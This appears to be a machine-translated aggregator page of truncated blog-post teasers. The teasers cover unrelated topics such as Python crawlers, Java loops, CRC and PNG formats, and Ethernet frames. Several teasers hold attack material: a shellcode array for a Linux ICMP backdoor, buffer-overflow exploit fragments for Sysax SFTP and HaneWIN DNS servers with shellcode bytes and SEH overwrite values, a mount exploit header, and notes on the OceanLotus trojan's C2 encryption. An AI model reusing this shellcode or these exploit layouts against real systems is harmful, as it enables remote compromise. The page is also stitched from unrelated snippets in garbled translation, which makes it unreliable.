x10 rr501

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[Stepping pit]python to realize parallel crawler

Problem background: Specify crawler depth, number of threads, python implementation of parallel crawlerIdea: single-threaded implementation of crawler FetcherMultithreaded Threading. Thread to tune FetcherMethod: Fetcher, open the specified URL with Urllib.urlopen, read the information:Response = Urllib.urlopen (self.url) content = Response.read ()But this is problematic, for example, for www.sina.com, the content that is read is garbled:>>> content[0:100] ' \x1f\x8b\x08\x00\x00\x00\x00\x00\x00\

LinuxICMP backdoor code

SECRET_CHAR "\ x99" Char shell [] = "\ X31 \ xc0 \ x31 \ xdb \ x31 \ xc9 \ xb0 \ x66" "\ X43 \ x41 \ x51 \ xb1 \ x03 \ x51 \ x49 \ x51" "\ X89 \ xe1 \ xcd \ x80 \ x89 \ xc2 \ xb0 \ x02" "\ Xcd \ x80 \ x31 \ xdb \ x39 \ xc3 \ x75 \ x55" "\ X31 \ xc0 \ x31 \ xdb \ xb0 \ x10 \ x50 \ xb0" "\ Xff \ x54 \ x54 \ x53 \ x50 \ x55 \ x52 \ x89" "\ Xe1 \ xb0 \ x66 \ xb3 \ x0c \ xcd \ x80 \ x89" "\ Xe9 \ x01 \ xc1 \ x31 \ xc0 \ x88 \ x41 \ xfe" "\ Xb0 \ x25 \ x01

OS X OceanLotus (Hailian flower Trojan)

~ /Library/Hash/. hash reads time information, and the real Directory should contain. HashTag. Besides the timestamp, the values "th" and 1 are also stored in this file. All the content is encrypted using XOR, and the key is "camon ". Trojan sends system information and user information to C2, and creates a thread to process commands sent from C2. The following dump is encrypted C2 communication: After decoding the system information block using the key 0x1B, we get the following data: product

CCF 201612-2 Payroll calculation Java Problem solving

, if Xiao Ming's pre-tax salary is $10000, then a=10000-3500=6500 Yuan, of which no more than $1500 should be taxed 1500x3%=45 yuan, more than $1500 not more than $4500 part of the Taxable (4500-1500) x10%=300 yuan, More than $4500 should be taxed (6500-4500) x20%=400 yuan. A total tax of $745, after-tax income of $9255.It is known that Xiao Ming this month after-tax income for T Yuan, ask him how much before taxes wages s is how many yuan. Input form

Learn the second of Python function notes

;y, returns 1;x10. Built-in functions: Range () and xrange ()The difference is as follows:11, the built-in function of the type conversion function: Type (), int (), long (), float (), complex (), str (), list (), tuple () are more familiar with12, Hex () returns the number of 16 digits, the OCT () returns the octal number, the CHR () parameter is an integer between 0-256, the return is the current number of the Aske Magu; Ord () is the opposite of Ch

Process Control in Java (iii)

About the Process control in Java 4.do while statementThe function of the Do While statement is similar to the while statement except that it detects the value of the conditional expression after the first loop is executed, which means that the segment contained in the curly braces is executed at least once.do{ 执行语句}while(条件表达式语句);Example:int x=1;do{System.out.println("x="+x);x++}while(x3);The program prints the following results:x=1x=2Note: Do and no matter how it is done at least once5.for

Python Training Day2 Essays

common methods of integer int classes are#将输入转换为整数型X=int (Ten) [Object Object]#将输入转换为二进制数, where 0b represents a binary numberX=bin () Print x0b1010#将输入转换成8进制数X=oct () Print x10#将输入转换成16进制数X=hex (one) print x0xb#将输入取绝对值X=abs ( -9) Print x9#比较两个数的大小, returns 1 if the first number is less than the second number, and returns 0 if equal, greater than 1X=9CMP (x,10) -1cmp (x,9) 0cmp (x,8) 1#将两个数相除, seeking quotient and remainder. For example 9 divided by

Sysax Multi Server SFTP Module Buffer Overflow Vulnerability

\ x74 \ x26""\ X86 \ xdb \ x74 \ xcd \ xca \ xcf \ x0f \ xa3 \ xc2 \ xe0 \ xb8 \ x0e \ x35 \ xce""\ X39 \ xbf \ xf9 \ x9c \ xf9 \ xa1 \ x85 \ xde \ x2d \ x02 \ xb7 \ x10 \ x20 \ x43""\ Xf0 \ x4d \ xca \ x11 \ xa9 \ x1a \ x78 \ x86 \ xde \ x5f \ x40 \ xa7 \ x30 \ xd4""\ Xf8 \ xdf \ x35 \ x2b \ x8c \ x55 \ x37 \ x7c \ x3c \ xe1 \ x7f \ x64 \ x37 \ xad""\ X5f \ x95 \ x94 \ xad \ x9c \ xdc \ x91 \ x06 \ x56 \ xdf \ x73 \ x57 \ x97 \ xd1""\ Xbb \ x34 \ xa

HaneWIN DNS Server Buffer Overflow Vulnerability

\ x58 \ x19 \ x52 \ x9e \ x84 \ xa8 \ x0b \ xe7 \ xbb \ x05""\ Xdc \ xef \ xc4 \ x7b \ x7c \ x0f \ x1f \ x38 \ x8c \ x5a \ x3d \ x69 \ x05 \ x03 \ xd4""\ X2b \ x48 \ xb4 \ x03 \ x6f \ x75 \ x37 \ xa1 \ x10 \ x82 \ x27 \ xc0 \ x15 \ xce \ xef""\ X39 \ x64 \ x5f \ x9a \ x3d \ xdb \ x60 \ x8f") NSEH = '\ xeb \ x06 \ x90 \ x90'SEH = '\ xd1 \ x07 \ xfc \ x7f'Opcode = "\ xe9 \ xdf \ xf6 \ xff"Junk = 'A' * (2324-len (shellcode ))Padding = 'A '* 600 Buff = s

Principle and Protection of Buffer Overflow

the NOP command is executed, the program will activate the shell process. This greatly increases the possibility of guessing. The following is an example of a buffer overflow attack, which exploits the system program Mount vulnerability: Example5.c/* Mount exploit for Linux, Jul 30 1996Discovered and coded by bloodmask vioCovin security 1996*/# Include# Include# Include# Include# Include# Define path_mount "/bin/umount"# Define buffer_size 1024# Define default_offset 50U_long get_esp (){_ ASM

PNG file data structure image format

specific algorithm is defined inIn ISO 3309 and ITU-T v.42, the value is calculated according to the following CRC code generation polynomial:X32 + X26 + x23 + x22 + x16 + X12 + X11 + x10 + X8 + X7 + X5 + X4 + X2 + x + 1 The specific structure of 3.5 key data blocks. ① PNG file IDIt is fixed to 8 Bytes: 89 50 4E 47 0d 0a 1A 0a, and the first 4 bytes are the ASCII code of ". PNG. ② File header data blockIt contains the basic information of the image d

PNG format Analysis

bytes The storage is used to check whether there are error cyclic verification codes. The value in the CRC (cyclic redundancy check) field is for the chunk type code field and chunkThe data in the data field is calculated. The specific CRC algorithm is defined in ISOIn 3309 and ITU-T v.42, the value is calculated according to the following CRC code generated polynomial: X32+ X26+ X23+ X22+ X16+ X12+ X11+ X10+ X8+ X7+ X5+ X4+ X2+ X + 1 Next,

Implementation of CRC algorithm for Cyclic Redundancy checksum

of received binary sequences (including the Information Code and CRC Code) by the polynomial. If the remainder is 0, no error occurs during transmission. Otherwise, the transmission is incorrect, I will not describe its principles here. When the CRC code is calculated using software, the receiver can calculate the CRC code for the received information code, and compare the result with whether the received CRC code is the same.In frame verification sequence of HDLc, crc16 is a CCITT-16 used in t

Weisheng-hardware test questions

microcomputer is not running after power-on?First, check whether the power supply voltage is normal. Use a voltmeter to measure the voltage between the grounding pin and the power supply pin to see if it is the power supply voltage, such as the commonly used 5 V.Next, check whether the reset pin voltage is normal. Measure the voltage values of the reset button and the open reset button to see if they are correct.Then check whether the crystal oscillator is vibrating. Generally, use an oscillosc

Ethernet frame structure

included in the length field. The length of the frame header is 18B, including the destination address field of 6B, source address field of 6B, type field of 2B, and frame verification field of 4b, the forward code and the pre-frame delimiters are not included in the frame header length. Therefore, the minimum length of an ehternet frame is 64b (46b + 18B) and the maximum length is 1518b (1500b + 18B ). One purpose of setting the minimum frame length is to enable each receiving node to have eno

Combined mathematics-primary functions-templates + details

function 1 + X4, One three grams of weight can be represented by the function 1 + X3, and two three grams can be represented by the function 1 + X6 ,... 1 4 grams of weight can be represented by the function 1 + X4 ,.... Let's take 1 + x2 as an example. As we have already said before, X indicates the weight, and X indicates the weight. Here is a weight with a mass of 2.1What does it mean? 1 indicates that the weight of 2 is 0. 1 + x2 indicates two conditions: 1 indicates that the weight with th

Basic Idea of Random Simulation and common sampling methods (sampling)

Distribution. For example, if X = {x1, x2,... xn} satisfies the distribution of p (x), how can we sample p (x? If we know its conditional distribution P (X1 | X _ {-1 }),..., P (XI | X _ {-I }),...., X _ {-I} indicates all the variables of X except Xi. If these conditional distributions are easily sampled, We can sample the total probability distribution p (x) by sampling the conditional distributions. The following describes how to use the Gaussian Sampling Algorithm: 1. Specify an initial s

Another implementation of exponential functions

In general, a simple implementation of the exponential function POW (n, m) is public long myPow(int n, int m){ long value = 1; while(m>0){ value *= n; m--; } return value;} The time complexity of this algorithm is O (m ); This algorithm is more effective when the computing scale is small, but the following algorithm can be used when the scale increases to a certain extent. Take X21 as an Example 1) the binary value of X21 = x10101 21 is 1

Latest programming language ranking

Trend chart of the first 10 Programming Languages Ranking of 20 to 50 languages Position Programming Language Ratings 21 MATLAB 0.573% 22 D 0.539% 23 Logo 0.535% 24 SAS 0.517% 25 Visual Basic. net 0.481% 26 COBOL 0.476% 27 Scheme 0.427% 28 C Shell 0.422% 29 R 0.422% 30 NXT-G 0.410% 31 FORTRAN 0.381% 32 G

Kernel panic Information Analysis Method

that causes oops, that is, the first byte of the EIP value, in angle brackets. However, someThe system structure (for example, the common x86) commands are not long (different commands may have different lengths), so we need to constantly try (trial-and-error ).Linus usually uses a small program, such:Const char array [] = "\ xnn ...";Int main (INT argc, char * argv [])Detailed source reference: http://www.itqun.net/content-detail/274662.htmlPersons );{Printf ("% P \ n", array );* (Int *) 0 = 0

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